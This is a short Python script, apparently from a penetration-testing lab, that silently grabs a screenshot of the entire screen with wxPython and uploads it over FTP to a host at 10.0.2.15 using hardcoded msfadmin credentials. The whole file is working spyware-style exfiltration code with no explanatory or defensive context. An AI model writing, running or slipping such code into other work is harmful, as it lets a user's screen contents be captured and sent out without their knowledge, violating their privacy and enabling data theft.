#!/bin/python3
import wx
import os
import ftplib

w = wx.App()
screen = wx.ScreenDC()
size = screen.GetSize()
bmap = wx.Bitmap(size[0],size[1])
memo = wx.MemoryDC(bmap)
memo.Blit(0,0,size[0],size[1],screen,0,0)

del memo

bmap.SaveFile("grabbed.png", wx.BITMAP_TYPE_PNG)

sess_ = ftplib.FTP("10.0.2.15","msfadmin","msfadmin")
file_ = open("grabbed.png", "rb")
sess_.storbinary("STOR /tmp/grabbed.png", file_)

file_.close()
sess_.quit()

